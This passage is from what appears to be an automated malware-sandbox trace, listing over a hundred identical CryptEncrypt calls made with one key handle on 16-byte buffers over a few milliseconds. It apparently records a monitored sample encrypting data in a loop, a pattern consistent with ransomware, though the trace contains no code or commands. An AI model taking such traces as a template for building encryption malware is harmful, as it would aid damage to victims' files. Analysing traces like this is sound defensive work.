dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.164] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.165] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.166] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: 